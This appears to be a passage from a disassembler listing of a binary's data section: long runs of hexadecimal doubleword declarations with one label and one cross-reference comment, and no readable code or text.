dd 409396E4h, 9907AF0Fh, 3AB3B82Fh, 0BF80DA7Fh, 2BCA06C9h
dd 0C9A04B84h, 321F44F2h, 5581998Ch, 0C608D556h, 70C54487h
dd 0B54D5031h, 7704D454h, 108DCBB9h, 86669880h, 6E6F0EDDh
dd 401DECB2h, 0EBA3E825h, 0C9980572h, 0FBCE9E00h, 0D490C243h
dd 9BE30028h, 7B248D2h, 83F4F994h, 0DA64FC02h, 4095BFCFh
dd 8D1284h, 0AE0D1154h, 0C82C7277h, 80569B39h, 0E34BBEF5h
dd 0ABDE13h, 7F228B1Ah, 342AEB5h, 638D5600h, 856F743Fh
dd 4107BDEh, 388CBAADh, 0F95005Dh, 3F535EC5h, 5C80C727h
dd 414E70D6h, 0F401145Ah, 0D7184334h, 0ABECC463h, 0AE5B00F1h
dd 339C8C4Ch
dword_4F0044 dd 0C80FBCF4h, 802BDF32h, 5D770CC3h, 6DA0A0D0h, 0DC780Ah
; DATA XREF: ___:0042CC8Co
dd 0C5E8BA94h, 0CBB36F27h, 0B13D4507h, 4E0053CDh, 0EA52AAh
dd 0ADEC73D7h, 7C0FC935h, 64849100h, 96B24E3Bh, 110E843h
dd 6919BF51h, 20C65D58h, 49078A20h, 0A8E0560Fh, 8EC17920h
dd 259D00C4h, 1A80D992h, 0A001B9F4h, 9F3F55F2h, 2260B16Ah
dd 0FE520049h, 0D04FAA5Ch, 6C008D3Dh, 2763B3A8h, 86E88Ch
dd 0E90F4A59h, 0EB7FD1A4h, 0CF9830FBh, 70CE8800h, 37E58B2Eh
dd 0FF9F006Bh, 610EC159h, 0A87304CAh, 4564FE00h, 50E83963h
dd 0FC9840h, 87725CC3h, 2DD8EB8Bh, 0A8966A00h, 4F7017EFh
dd 0A733009Dh, 0BD6EED7Ah, 0D3381BACh, 34A22C97h, 4E00CD11h
dd 0C49B467Bh, 0FB483BB6h, 0F0BF00ECh, 0E5520A69h, 485C0309h
dd 84CC463Ch, 0A22C6E90h, 112E8D03h, 0B3FEBB8Ch, 0BFD8F058h
dd 0FD2707F8h, 57C8AD94h, 447700B7h, 0B00CA2Fh, 86FAB41Dh
dd 0F83582h, 96B71772h, 6BB291E8h, 3FF57A00h, 6E696799h
dd 2E9A0001h, 94ED10DFh, 0EA16B655h, 8800C975h, 0AEE72C92h
dd 0A9600A7h, 10EB8F2Ah, 0AC60261Ah, 7DC995D8h, 0EABB0475h
dd 0C8DA561Ch, 0D30F91E0h, 20BFE50Eh, 741B8DEFh, 392F0064h
dd 194C9714h, 6E01A335h, 93C1D37Bh, 8331CB5Eh, 0FC60C0D5h
dd 86A91E01h, 12C382F9h, 60E8163Eh, 4A00219Ah, 8D3AE314h
dd 50DE3B43h, 1FE0B84Dh, 407D8A20h, 0A06B9E3Dh, 9504E873h
dd 31CC75D2h, 0C40179C5h, 5598C92Eh, 0BBEACCh, 0DF14E8B6h
dd 0C23183AAh, 5FBE8F00h, 4ED6EFE2h, 713C1666h, 41F04062h
dd 230FFBA7h, 2C9AC900h, 47FEF106h, 0C45F48FCh, 1A534900h
dd 285BE465h, 59113E00h, 0B864F8BAh, 0AEB0EB7h, 0E6E096DBh
dd 0B608295Dh, 27137D00h, 56BB22CBh, 0AD4D0087h, 44E03420h
dd 74038454h, 0D7410D21h, 715CA88Dh, 0F35A0072h, 842F59Fh
dd 0B60039BEh, 0C70D8903h, 12A4D78Ch, 16502B2h, 0E97DDFD8h
dd 46489E98h, 8463BD0Bh, 0CC84366h, 0DCF948D4h, 253B3C71h
dd 0C2AE3B7Ah, 0D50C1500h, 786791C3h, 1E396101h, 0C5FCEDB8h
dd 42C40EDDh, 7AFD03E6h, 95672D19h, 28F47000h, 0A41FE051h
dd 0ACA9064Ch, 8087C668h, 659BB31Fh, 200093ECh, 0EB8D5CD4h
dd 80E96015h, 54783240h, 0EA892400h, 3A289E05h, 956D00A6h
dd 0AFF55CBCh, 8D48C5D7h, 811A304Dh, 0DB4718h, 397DF9A1h
dd 0A257F7B5h, 371DD5F4h, 0B804D81h, 88847FFFh, 33B0F2h
dd 806FEF1Bh, 470D5FEAh, 0C63B8D0Eh, 1AE2C007h, 0F13F84Ch
dd 5A06E6CFh, 0F89EC939h, 0B90BDE54h, 80D955FFh, 0B6387A49h
dd 784F0A1h, 0E65F064Eh, 0BC582050h, 9900C89Fh, 7684803h
dd 0EC925Ch, 633CDD24h, 7E223ECBh, 0D52BDC01h, 488B3628h
dd 4584C0h, 0B9D06CC7h, 0AFE45F64h, 3E25520Fh, 8C2F2AFFh
dd 0C9432C03h, 0EA59C084h, 886F0AF9h, 0A0C470h, 2726961Fh
dd 440083E9h, 51E78CD3h, 0D45D19h, 5F4AE8A2h, 0ADCBEC84h
dd 152E4500h, 0ACE5F54Dh, 1BB51E56h, 7433C740h, 51D2E0CDh
dd 4900A0F6h, 426888Ch, 3923D31h, 0FF727538h, 2DA8DCE6h
dd 0DD0099BFh, 0C2DA779Fh, 17C243Ch, 13F217A0h, 9F15AC01h
dd 64261938h, 0D8913800h, 1FE2149Ah, 40E98BB7h, 53AF5572h
dd 79002E3Ch, 7791B54Bh, 0F5973EAh, 68FFB7DDh, 0CE74DF00h
dd 0C2072136h, 0F5AB4056h, 5F18BF41h, 1F9BD4h, 0D501420Fh
dd 3729C0B3h, 0FA00EDE2h, 0B15210C1h, 5C84C47Ah, 3F00580Ah
dd 874FC0C9h, 0DD0E9244h, 3D7650h, 724ED214h, 56C0033h
dd 0BAEBEDF5h, 5300BD17h, 0A6AB1AFBh, 0CC0798h, 225141A4h
dd 2DE45EDh, 30C7F500h, 80F1FD82h, 0BB292C44h, 18B34048h
dd 4D0007E0h, 5637F3DFh, 0F2EAA0FEh, 5DA600CAh, 723D25DBh
dd 5A04D080h, 0E602AD7Fh, 0F46CB0h, 0E8520941h, 0C64CEAA2h
dd 4EFAB200h, 97D6B848h, 694A0005h, 783FC83Ah, 48C03E80h
dd 4E0FFDA4h, 68C51DC6h, 75417017h, 0D2008DBFh, 0C2DB7F4Dh
dd 4F23AFC9h, 3F500999h, 0D8256045h, 280724BFh, 5B2007Fh
dd 738625CBh, 9933FD07h, 61039060h, 421AD05Ah, 0F5BB00B5h
dd 0C050A059h, 5F009F2Bh, 708E38D0h, 0FA0EAFh, 16821364h
dd 0AA1C242Ah, 0AE00909Eh, 0B0D62BD1h, 9F1200C7h, 0D027BE8Bh
dd 0D730444Dh, 0D889A057h, 30C76FB5h, 77654900h, 95744BC3h
dd 0B614DC74h, 3106CD8h, 2857BE45h, 16F61DFFh, 6486009Fh
dd 0D38A236Dh, 52AE1A03h, 0D0748D79h, 9E3627h, 6398E64Ch
dd 759DFA4Dh, 0E7D7E500h, 0A7769CFCh, 0D6640049h, 0FE4D5B3Bh
dd 87372E3Ah, 6BB15814h, 608059C7h, 3F3B7A67h, 77002DECh
dd 921ABDABh, 3B524397h, 0A90F0B53h, 7520A0AAh, 95072CBAh
dd 0E6FA5A02h, 836BD821h, 0F0A52B60h, 7DC2A1h, 9826DAD6h
dd 5A321CCFh, 1B017C7Ah, 0C88EF362h, 0E4401496h, 7AE857h
dd 0DD0332A6h, 0EF995D88h, 5E33EA00h, 0DFA29A5Ah, 0F2B51F45h
dd 26848020h, 96AF31FCh, 0A6B78800h, 0B947AD9Dh, 0B8A854B0h
dd 0F2C70BBh, 0C88068FCh, 4A2B4A07h, 272D1250h, 812F801Ch
dd 2A324A79h, 0E0AC21CBh, 0C098B60Ch, 664B4211h, 91514790h
dd 2BE9E41Ch, 9117560h, 30F1FB9Dh, 0B1815314h, 0B03088FFh
dd 0E1DB1146h, 0D49A3997h, 35045BC0h, 0AC305383h, 0D41CC320h
dd 6ACE4600h, 19B31F55h, 78DF33C5h, 0B4A1A0A8h, 28D08045h
dd 74486816h, 5C10C07Bh, 7DD91EB3h, 0D02D1D28h, 0E12F6001h
dd 0B4795A6Fh, 0FA97AF0h, 0E68C144Fh, 5E87938Fh, 9834834Ch
dd 4C331028h, 2E43CE1Eh, 32DD101Ch, 0C5BD6EC3h, 0AD05D0E5h
dd 22D0CFBCh, 290BFC40h, 0C00784Ah, 4DCE6BF9h, 5BB6516Dh
dd 0DE1C41F7h, 0E0EFE887h, 0E412A570h, 0F801D069h, 0D61944D5h
dd 0EC7983C4h, 0CC930386h, 1A5030DAh, 0B0006FABh, 2AC7BE43h
dd 0E8D021C1h, 19936094h, 7BBFD4D6h, 10CE013Eh, 0B5009C70h
dd 1DAC1B08h, 1007724Fh, 12D09FC7h, 2A20980Eh, 0B399C090h
dd 0BE42F98Ch, 80891838h, 2C2E8325h, 5E93441h, 32D41EA9h
dd 0CC41FF1h, 10194504h, 0EFD2CC11h, 0F9C8DC00h, 0D499C2A0h
dd 5AA02250h, 0EBBF7E00h, 7D4DE8E2h, 5254006Ch, 74E3604Ah
dd 0FA0F7B55h, 714344h, 0E86F68A2h, 0E5D0F31Dh, 94223CA5h
dd 607C7000h, 9A26ACF9h, 0EB07FF74h, 797BE091h, 484B9910h
dd 7FF101E2h, 7DFF967Eh, 7C5C8747h, 0AE206F56h, 2BFA7542h
dd 833854D8h, 9C42A684h, 7C5545C7h, 8C79F18h, 7886E79Eh
dd 3C1B48B0h, 714A5400h, 7CA698E2h, 42009FEAh, 0AA5692ECh
dd 78F39578h, 508F014Ch, 9A9B6860h, 5C6840D8h, 57F0F4BFh
dd 98397268h, 4EB2B3Ch, 0DCB2FBC1h, 5C5F1080h, 0DB2639A4h
dd 54F9E00h, 98CC0ABFh, 0B7660083h, 92E638BEh, 30C0D7E0h
dd 195DA68h, 7818C0BDh, 0AB5D9CFh, 7EC708A0h, 4357EC00h
dd 0C2B08275h, 5CED1848h, 8AE95904h, 0C9B56A05h, 0C33ECDAh
dd 0C8946DCh, 30B4F618h, 431B58D8h, 1158B182h, 0EBD11A0h
dd 0DB3E5C5Bh, 0C76AB140h, 4062E899h, 41598FC8h, 7678D5CEh
dd 58C47828h, 7C87B1FAh, 21BFA343h, 21B8DFB0h, 4E03D482h
dd 0C5EA0C2Bh, 0C21CBBC2h, 5DCC48DDh, 0D01630B4h, 9B119828h
dd 14185F3Ah, 260C9444h, 612F9EBh, 8E85F440h, 339C6FCh
dd 490551E6h, 5EA1D163h, 0E20C40AEh, 10495CD9h, 0BE4CFCh
dd 0CC0CD733h, 3579E45h, 989DC55Bh, 191E3227h, 0D91309E8h
dd 4B591445h, 225D580Fh
dd 9DDE5F8Bh, 28B1164h, 4F637904h, 0BC8CA801h, 0B890D810h
dd 440C6421h, 156B80D3h, 0F0CEB3E5h, 57187E0Ah, 424863F8h
dd 30D8FEF1h, 90842A5Ch, 8C0E4548h, 0C13C5840h, 0C11029AEh
dd 461F918Ch, 114AA0E4h, 665F1BF7h, 9821690Dh, 4F9F059Eh
dd 6048093Bh, 0EC58BCA0h, 19C2757Ch, 999EDCFEh, 0E0899888h
dd 6409E878h, 8A64AA8Ah, 4C94EAE9h, 6A284740h, 9412E00Dh
dd 0C32CDAAh, 51802805h, 0C99A3CAh, 8C3E2C0Ah, 7356771Fh
dd 0C485042Ah, 92883383h, 0E241E014h, 0A8421F4h, 419413E5h
dd 0F55395D9h, 2B60203Ah, 2891987Fh, 8042DC91h, 1899198Dh
dd 6250D30Ch, 9D13E78Ch, 0C3E5B4Bh, 7DB1EAC4h, 0DB06A841h
dd 148AD60Ch, 99156880h, 3A1FC20Ch, 5738C82h, 12F99C47h
dd 1B81A21Eh, 0A0EBB124h, 3E0BEAF9h, 2214C8DDh, 0D80153D9h
dd 0C2867458h, 50AF6194h, 0EEA32A9Eh, 980A28C1h, 0D518AD5h
dd 814DA842h, 0C511FFF0h, 254CA479h, 24305FD8h, 5485D958h
dd 0A22C9A4Ch, 48F13593h, 0A5C137EAh, 1FB234Ch, 0E560F610h
dd 20E46469h, 367C6278h, 83AFD688h, 0CC904FD2h, 6305C02h
dd 6A5918C2h, 3DD91963h, 0C6C67052h, 737C28E8h, 9C48A0F7h
dd 3C18DC45h, 29C01137h, 0E851E490h, 894C13Ch, 521E7A74h
dd 323C46D8h, 0B4984AC8h, 6823203Ch, 40337D00h, 49753A86h
dd 1B851E9Bh, 628C0FECh, 719F8181h, 0D884F056h, 5E294F63h
dd 271DE1BEh, 992470h, 2D025345h, 0D0B35965h, 0B1481E4Ch
dd 0B830C053h, 0E8A9C0F6h, 0F59212ACh, 2BAB8509h, 307464D8h
dd 9EA8D546h, 0EA55A447h, 0BA40C8F8h, 5A227C90h, 319E1CC5h
dd 20D37C49h, 60E5B584h, 4C0C16h, 4AC95D6Ch, 1D792859h
dd 860C06EEh, 0B0CE139Eh, 0C8AC73h, 285E9258h, 40236A52h
dd 604A541Fh, 2180ECA4h, 0A3791BC5h, 0F67965h, 4788E185h
dd 623D07DDh, 8C286B28h, 0A0E69C20h, 4D3708C4h, 441A1C3Ah
dd 5C601833h, 0DE606081h, 11413859h, 4F5F038Ch, 2757C4AEh
dd 0F40A0824h, 11491D80h, 24A939BCh, 0AC98C1FBh, 7F823FE3h
dd 0D3238D1Bh, 10683CC2h, 307ED79h, 0EA48D8FDh, 0EC8319Ch
dd 5F86D975h, 47CE3881h, 31089E1Dh, 4D8520F1h, 1E440DD4h
dd 4F92749Bh, 5FADFCEFh, 0D6A400E0h, 0B89AFEC1h, 494F2800h
dd 45D371A1h, 0E5510073h, 834179F7h, 4A1F8C33h, 0E2C0991Ah
dd 1E52CEE0h, 0B24901AFh, 46B3CF9h, 2C9C508Bh, 550706A1h
dd 0B685C578h, 0CC12CAD5h, 9EDD9001h, 108C9763h, 0F2C9DFEAh
dd 0C7C52B00h, 25B9D0C3h, 1CE12677h, 66A380F4h, 9A9E324Bh
dd 19E02A00h, 93ECDFE3h, 2BF80051h, 0DDFE854Ch, 46003D90h
dd 598BCC9Bh, 3AAD4414h, 5300DCEDh, 0CFD33CC4h, 91094FECh
dd 0D677Fh, 11B45B64h, 5C009823h, 888720C2h, 5DB08173h
dd 0FBF3D412h, 1CA2DC0Bh, 5F441054h, 0B7722484h, 255B0030h
dd 0FC2060B6h, 382C35F8h, 804098FBh, 23D40h, 0C4BABFF1h
dd 694E60D4h, 0FD1E8D00h, 970618E2h, 88C550CFh, 5BD90DA2h
dd 2088D1F6h, 0E02AF1C0h, 0B008418h, 637A0585h, 33DD2466h
dd 12088E6Ah, 4BA0214Fh, 0B0CC0196h, 825CD535h, 0B605305Dh
dd 6EB9A8C0h, 0AE70E7h, 2786F5B1h, 1AFF9852h, 0D25341C7h
dd 0E4E62640h, 0D76F071Dh, 40F96CEDh, 15AA61FFh, 2468525Ch
dd 4FC0405Ah, 465F88D9h, 21CF7545h, 0C6D92087h, 71E85F84h
dd 38EC4C22h, 0B2DF1907h, 9C04A979h, 11546092h, 275F23FFh
dd 18003111h, 1CCB115Ch, 477A62B4h, 6B29C702h, 0AFCFC356h
dd 82099AE0h, 0AE9025FCh, 0F6E28094h, 6B82DC85h, 0B404A95Fh
dd 15549E6h, 0BA51D188h, 146E8BCh, 5F85D972h, 90B07ADh
dd 80D94A82h, 194CFE5Fh, 909404F2h, 0D03F4227h, 0D3EAB4F8h
dd 0C0D14180h, 0F41E44B8h, 4E481D01h, 845D812Ch, 29BCAD36h
dd 32A3B853h, 0DFDB30DCh, 0A910443h, 84319757h, 88508EC4h
dd 20BACD0Ch, 789835C4h, 6D2F6C02h, 0D1C4EA7Dh, 2D228B74h
dd 3F1A6680h, 280A4649h, 0BC9111C6h, 1D83D961h, 805B3183h
dd 0A3C04698h, 8C1708Eh, 0BA527788h, 5D20CC49h, 138B19FAh
dd 61E88184h, 0B199F004h, 7A988300h, 402B28B3h, 2FAE380Fh
dd 0FA41A602h, 0E4446509h, 205DD525h, 3B965F54h, 0E5C8C127h
dd 0DD634818h, 0CC7B70D2h, 1D4C8F79h, 0C90590Eh, 0B1E557D9h
dd 3DF8016Ah, 0F097219Bh, 4029E0h, 708A3867h, 19AEA01h
dd 0DF4A0584h, 40D4A683h, 11D552E0h, 825BC600h, 0BFF3EF2Dh
dd 70E61393h, 0EAC04B73h, 0FA889490h, 0AA2D5A16h, 7FB45800h
dd 90627A47h, 9C4C4C60h, 53461F72h, 2152D7h, 6A4AC654h
dd 0A102B1B3h, 89EEE112h, 0F9C0696Eh, 0B3C1BE0h, 11944BDBh
dd 58195020h, 0EC067F73h, 94C13BBh, 0D4851D18h, 31484279h
dd 68E8725Fh, 6205468Fh, 0E7E08803h, 98006CB3h, 0D6DABAADh
dd 0E4A09222h, 0D928EA62h, 0C662A067h, 0C3D05D29h, 0E840A5D8h
dd 2A689088h, 0DCA35814h, 917AE803h, 216F5E15h, 94E40848h
dd 10503851h, 135B0C54h, 83B01BF0h, 3817D0F5h, 0B3BBE606h
dd 181A0Ch, 71595548h, 24C66373h, 5707D505h, 0A0D0646Bh
dd 307F90C7h, 0A8100A1Fh, 0A2686709h, 4B06B069h, 11CEC4h
dd 4E9D8BC2h, 183CFC5Bh, 8845333h, 8F2100C9h, 0BFC49DF3h
dd 7F13C545h, 2303EFDBh, 2055B57h, 0F485F060h, 2844ACF8h
dd 901E8342h, 280CDB57h, 56F291E0h, 2CE17024h, 0E0720840h
dd 0B9B003AEh, 38696D3Dh, 85F191DBh, 83E4209Dh, 11530E8Ch
dd 38375F8Eh, 5B001734h, 0A0BCD711h, 32DC28h, 57F0DE70h
dd 0F93E96CCh, 0C4FB102Ch, 9A33E04Eh, 1D7A24EFh, 0C5DB2F6Ah
dd 82C8AF66h, 9CE69150h, 0B88F6300h, 67556F2Bh, 16800047h
dd 4D11BB05h, 610E7523h, 20793B49h, 58725946h, 0F4AE09E7h
dd 0A48964B7h, 83D9BC04h, 0D2B99094h, 0EAD45368h, 1802B3B3h
dd 0E447BBADh, 9B4EC58h, 21879F3Fh, 6885E412h, 4F8860BFh
dd 5F7D8A11h, 401B1E87h, 3AC0D011h, 54245B59h, 0B3832015h
dd 97467A66h, 423CCCB0h, 0C0F759E2h, 70058B80h, 448C9663h
dd 83012A13h, 17193705h, 30307925h, 29694062h, 910038E4h
dd 54DAD993h, 0C97B094Bh, 0C10FF78h, 0E40470FCh, 10D028EDh
dd 92278E2h, 0B90A0400h, 0B5271B72h, 0C5064C1Ch, 757A24h
dd 0E06C5049h, 625EFCE9h, 78AD86h, 5945985Dh, 58AB861Ah
dd 31FC1310h, 4EFB8509h, 7625DC66h, 0CFD038DBh, 59490448h
dd 901C9128h, 0B34F6290h, 0A00461D6h, 0EC003210h, 99708C3Eh
dd 14C41496h, 7020900Ah, 808C37BFh, 8065429Ch, 0CF00F847h
dd 90AEDE9Eh, 0A80E6F22h, 6583E4h, 0C9CE7F93h, 10FF23C1h
dd 0DCAEDA0Eh, 0BD50E0B4h, 18DF8D5Bh, 0D0B98693h, 4758D553h
dd 41578E08h, 277A8F4Eh, 6F4C28F4h, 6B001852h, 0B2A0B309h
dd 2A647C1Fh, 637F83F8h, 3F0F2DEh, 0E8681120h, 8E3B290h
dd 0B4429100h, 0BDFC2C88h, 0E1B879h, 60A93DADh, 1747BC24h
dd 0A80C6B02h, 0E0835D74h, 80CA86CCh, 0BF0F1C6Ah, 0C29D6603h
dd 80C39294h, 0D23C230Ch, 8C5F1D61h, 5516602Eh, 0F84036FBh
dd 0BAF98DB9h, 0F66200D3h, 0CC78B545h, 800D04Eh, 0E8EC5088h
dd 392DE29Ch, 7A6B2AD5h, 53C79407h, 6927CC12h, 0D9A0A0FBh
dd 78E59B5Bh, 0CAC125E9h, 0B60A6448h, 31261707h, 0D921161Bh
dd 18E06EECh, 0FB890007h, 0E24F3A65h, 63070F09h, 9D303CE0h
dd 9C407B47h, 7E660D3Bh
dd 0D1C60A93h, 1DCEF8Ch, 309D09Bh, 763E84Fh, 36F835E4h
dd 3CE6961Eh, 28F9333Ah, 0F100095h, 0B3BD188h, 6618EC92h
dd 3E64F09h, 79351E93h, 1F41F3Fh, 7FED6331h, 0AE5E03Ch
dd 0E40380F0h, 15490B7Bh, 4B846DBh, 4C9E0BEh, 0B492483Ch
dd 0D3493D01h, 4A6F0A73h, 17B51818h, 2802011h, 347CD3Eh
dd 4855361Ch, 3090E739h, 4618CC92h, 5D1FBA6Ah, 4503E6D4h
dd 6DEA63h, 0E0CA1140h, 0C6609FEDh, 0BE5CF407h, 0A4A24E99h
dd 19BFC034h, 19B7927h, 0BFF28068h, 0D0209AE7h, 15FE4AF3h
dd 16E43Bh, 5E43D2BBh, 3A4ECAh, 69962BDDh, 9AAB1065h, 19C086F4h
dd 32D8F211h, 0FD607C80h, 4040A2E1h, 0E734DCEFh, 1794D983h
dd 87A7EE61h, 9BF84C63h, 40C0D662h, 2C7C9085h, 78B11D36h
dd 0B718D150h, 1B1A6281h, 98E91080h, 34DA57Eh, 0EABF68C1h
dd 2A01F7ACh, 0AD5E00DDh, 0D0802A77h, 1F5FB0BCh, 0DF3ADAA0h
dd 74E002E9h, 9C8C034Eh, 3D3CEB50h, 0EDB31578h, 0DBF14D4h
dd 1B2A08Ch, 8C2F4738h, 149880DBh, 88223EA5h, 40001624h
dd 68AD58FDh, 0B5C38C0Ch, 0F3196Ch, 0AC3DE256h, 83D1F526h
dd 65C78258h, 480CE889h, 93A408E7h, 2B2C9228h, 207CC964h
dd 0DF47EE58h, 0A2F8C5h, 0A6CD860Ch, 4DAB1714h, 0F63B100h
dd 3C0B359Ch, 0AF20F88h, 780B9A07h, 60F77831h, 0D0789C50h
dd 3CF854B0h, 0C7B72900h, 0E188323Bh, 69F0057Fh, 37C8C118h
dd 1E839B44h, 0E690C590h, 4A6C644h, 0F5B08A1Fh, 820102Bh
dd 0F695DB04h, 0ED4A9F64h, 0A0D06130h, 0EA085312h, 0E11B01E2h
dd 98F116EEh, 0E491A04Eh, 92CCAC24h, 3EFC721Ch, 0A0A80899h
dd 40564C09h, 59F0CC30h, 104AE924h, 16652A22h, 14345A11h
dd 7EC40867h, 0AC107010h, 9C9C265Fh, 0ACCF05DFh, 290C214Fh
dd 18C594Eh, 0FDAAD050h, 1424301Fh, 91731CCh, 17018916h
dd 22039108h, 0C0D4412h, 0E120F89h, 18481924h, 0A221B91h
dd 89040544h, 20061207h, 8694DCF1h, 0D129C201h, 2A13B081h
dd 0CA6BF448h, 5984EBB8h, 0AC044B12h, 0C408A929h, 0C97BBC41h
dd 13A66420h, 1FC56DEEh, 0DA840073h, 3C32C3EDh, 140E60E8h
dd 8765C964h, 3DFE776h, 0E3F5EE5Eh, 7C40A646h, 706D130Eh
dd 0E46C0A3Ch, 32C60090h, 1493ECDCh, 403DDA12h, 0D0FF489Ah
dd 0B2EAFF04h, 61885672h, 0CDC4BF04h, 17FAD1DAh, 95ED5BC2h
dd 92366038h, 0DE442CE7h, 0E6900DFDh, 0E209FC2Ah, 38A1792Dh
dd 0D6557F04h, 3E176B00h, 0E675E558h, 52BF14DDh, 0F3141080h
dd 0AE38ABh, 0FB98555Bh, 3E58562Eh, 0E187B3Fh, 0C2E018EAh
dd 0E807EB71h, 47F191EDh, 0F31F1CCAh, 6081D45Dh, 72CE1D52h
dd 0BD902848h, 870CE44Eh, 412C1FFEh, 31C560B5h, 90FF757h
dd 7FEA8C03h, 0E327940Dh, 7CD1C1CFh, 0E097E0h, 2A6F3579h
dd 0F69D317Dh, 623C7F05h, 1473DCFBh, 3267C181h, 36083080h
dd 3178E288h, 0E09320h, 3965ED9Bh, 360FB8Ch, 24155D0Fh
dd 70E7800Ch, 18E157EEh, 185E3D63h, 0EA01973Ch, 0E6890F0Dh
dd 67D30770h, 40F22880h, 9F9903Ah, 0CE188EE8h, 77783D0Eh
dd 50806031h, 8D06307h, 0B0F59C1h, 0C49E69Fh, 57A808h
dd 8C0364F6h, 883C0CEFh, 0D7ED10Fh, 3065C563h, 968020EEh
dd 1B1FA3B6h, 7785DD34h, 0E840C181h, 0BBE699Ch, 0E1E65ED4h
dd 90CA7B58h, 3311DF00h, 2F01EDE1h, 105F4205h, 0A300A11Fh
dd 9860803Bh, 24D2125Eh, 3E3C003Ah, 0E713AB9Ah, 0CB349501h
dd 0ED398077h, 4D7E1C00h, 69C4BB00h, 0BFF49AE6h, 0DB5A02EEh
dd 0D80BF2EFh, 0E05BD201h, 204F0AD0h, 0B5346B99h, 1848A178h
dd 0CD68B203h, 698CE00Dh, 0AF31608Fh, 0D0F96D2Fh, 5E2C80C4h
dd 0B11E9EAh, 14770717h, 4E90408Ah, 0F438B730h, 156A586Ch
dd 0E64E5CB8h, 5230D943h, 0E218A86Dh, 0DFB53153h, 90E959C0h
dd 0C4DBC31h, 6CC9E303h, 0D905EB40h, 60CD884Ah, 0C450D008h
dd 32E31C0h, 98182B18h, 0B4312A4Eh, 6BB9C1EAh, 80BB84A8h
dd 28625868h, 0A9E73A66h, 0F18094A4h, 0D4C4E1A7h, 0C84609Fh
dd 0D97A4656h, 0DAEE1631h, 4C6A18DDh, 58AA6B28h, 74688480h
dd 24802F88h, 3718FEA6h, 1198C039h, 31C4CAA2h, 5C91A16Dh
dd 4C4261D8h, 0E858A8EBh, 52910E98h, 47DE245Eh, 0B9ED1928h
dd 12A441ABh, 0E46D13BDh, 74EE242Bh, 9AB83CDBh, 89F2C442h
dd 2BE70544h, 4E880F21h, 0E450CC44h, 0EE3D2184h, 10E94256h
dd 76FCECF5h, 97847442h, 0D4AD4888h, 44777A21h, 0E4A5238Dh
dd 42FE3A3Fh, 5D447388h, 4F3A106Ah, 0CD13B6A2h, 7E10C86Ah
dd 8EBBA261h, 0A8A07528h, 246C4606h, 0AF4250B5h, 816C6892h
dd 60468AC2h, 934B24Dh, 10DD8EABh, 0E65F4060h, 861D23Ah
dd 0DE11ED8Ch, 2834B228h, 0DCA77012h, 0DC602290h, 291D1509h
dd 0B12B64EEh, 820E470Dh, 6145E182h, 118AE7DCh, 683834F2h
dd 0C4E6458h, 0A3A57993h, 3C71FD70h, 409155C0h, 0BC2005C6h
dd 0A02190F5h, 643392E2h, 41D84848h, 130499F4h, 9DA26C37h
dd 0B02A1A00h, 2F002BD5h, 2925275Bh, 0F0DBD6BAh, 66E0009Eh
dd 7AD9ABDDh, 0E35C8E30h, 12AE0914h, 2C005518h, 0E1BC0370h
dd 96380A16h, 6E27E400h, 0E070FC6h, 328D19Dh, 1700EE92h
dd 27DBD492h, 5CE2C81h, 0EEC0CD8h, 80E1D40h, 0E5F8923Ah
dd 44C48130h, 0A591404Ah, 0E18C0F00h, 0E8B2EE1Bh, 63030A08h
dd 403029E0h, 88321815h, 1C7FE629h, 34180497h, 2D66F39h
dd 0E7633064h, 609A3265h, 4124157Fh, 837FE797h, 0FAC9E670h
dd 0E273A248h, 0EA183064h, 8E03000Ah, 516609F8h, 3C752511h
dd 2CDCE62Bh, 21AE0F12h, 0F0C926D0h, 252BC68Ah, 6E1F38C1h
dd 8AF017C0h, 0A3167C3h, 0C208F58Dh, 0E040E814h, 388AC0DBh
dd 9A29A700h, 9B077AEAh, 0AC644AC9h, 13678124h, 442CED3Fh
dd 53C6A1BEh, 41B4C71h, 9E03EEACh, 82D8F787h, 6BE2B886h
dd 0E070054h, 0DDCA792h, 0C800B18Ah, 0C7F7F44Dh, 74A1AD0Ch
dd 0E0B378C0h, 70C6000Eh, 0ACB4FED9h, 0AF0309DAh, 925715A2h
dd 8803E0B0h, 0F520E9B1h, 1E1AF071h, 1DFFA6F9h, 7D701BDh
dd 0E41866A1h, 0CC1DA5BBh, 0DA07B908h, 0C080A0FEh, 1DA6A1FBh
dd 34E04D1Ah, 0F4C86F90h, 66E8043Eh, 0A1FCE900h, 0E616CEB9h
dd 6DB0380h, 3AC0AFA5h, 0D408C9Ch, 3580E48h, 0BCB4070Bh
dd 790800D5h, 0B0A3EB0Ah, 0B93C0DC4h, 0A5307067h, 0A0B340BEh
dd 0E60700D9h, 8BFBD3AFh, 13AA374h, 74D23C89h, 2031B100h
dd 3C8BFA5h, 0DABC0EA0h, 0D727B416h, 0D9724001h, 0A490B63Ah
dd 0AFAD0F0Fh, 0BC8A06DAh, 90B87460h, 174F0ACh, 0B0A103D6h
dd 83AE170Bh, 0BABD3A40h, 78A5A3D0h, 70A778C8h, 1F73E8CCh
dd 5CE601D6h, 3A131D0h, 0CDAF0B3h, 0D90AB2EEh, 9879A2FBh
dd 567D0448h, 0BA00F8A5h, 73A007DBh, 740C7BCDh, 0E00D01B4h
dd 0E606A3A1h, 3C6063BFh, 0C4980340h, 0E173B905h, 0B827B417h
dd 9C21849h, 0F041BFBEh, 11C30ADh, 2E8AF71h, 0CD0FE890h
dd 98ACA43Ah, 0F9D7BA90h, 0CBE37C61h, 0CC6C1B4h, 0A20DB8DCh
dd 0F5043560h, 7F96602h, 99C4C9A3h, 0B430AC21h, 84E4B3B0h
dd 0CCFBC973h, 98B0B50Ch, 0C7A48916h, 9EB1DC0Eh, 0CAB09E3Bh
dd 0C0A78A05h, 1C20C489h, 9CB6273h, 0C4C201D9h, 0DA65E494h
dd 0C090A750h, 7042F5Dh, 0F40A7A8Ah, 108319A0h, 687CB0B9h
dd 0FE0BBB78h, 90DABAA3h, 0A5B30120h, 0F9F5BF2Ch, 1EA64070h
dd 7CB5FBD7h
dd 3A40143Eh, 0AC848C3h, 67B0C689h, 0BAED80E0h, 50024918h
dd 386D1EA2h, 0F504C87Fh, 0FFF7057Ch, 0C09B9240h, 0DAB9A500h
dd 0AC1488F0h, 0A11C1AC7h, 184E0E07h, 800AC285h, 89E7D7C8h
dd 16CDB114h, 860BEF68h, 0EC02EDC0h, 0D8C006D7h, 0B55CEACDh
dd 8A033B64h, 1807C6B0h, 0AFC99698h, 0E650A8C0h, 0E3FB3C94h
dd 0CD9908Bh, 0AE0A20A0h, 38B8CFBCh, 87A3B027h, 0AD41CA44h
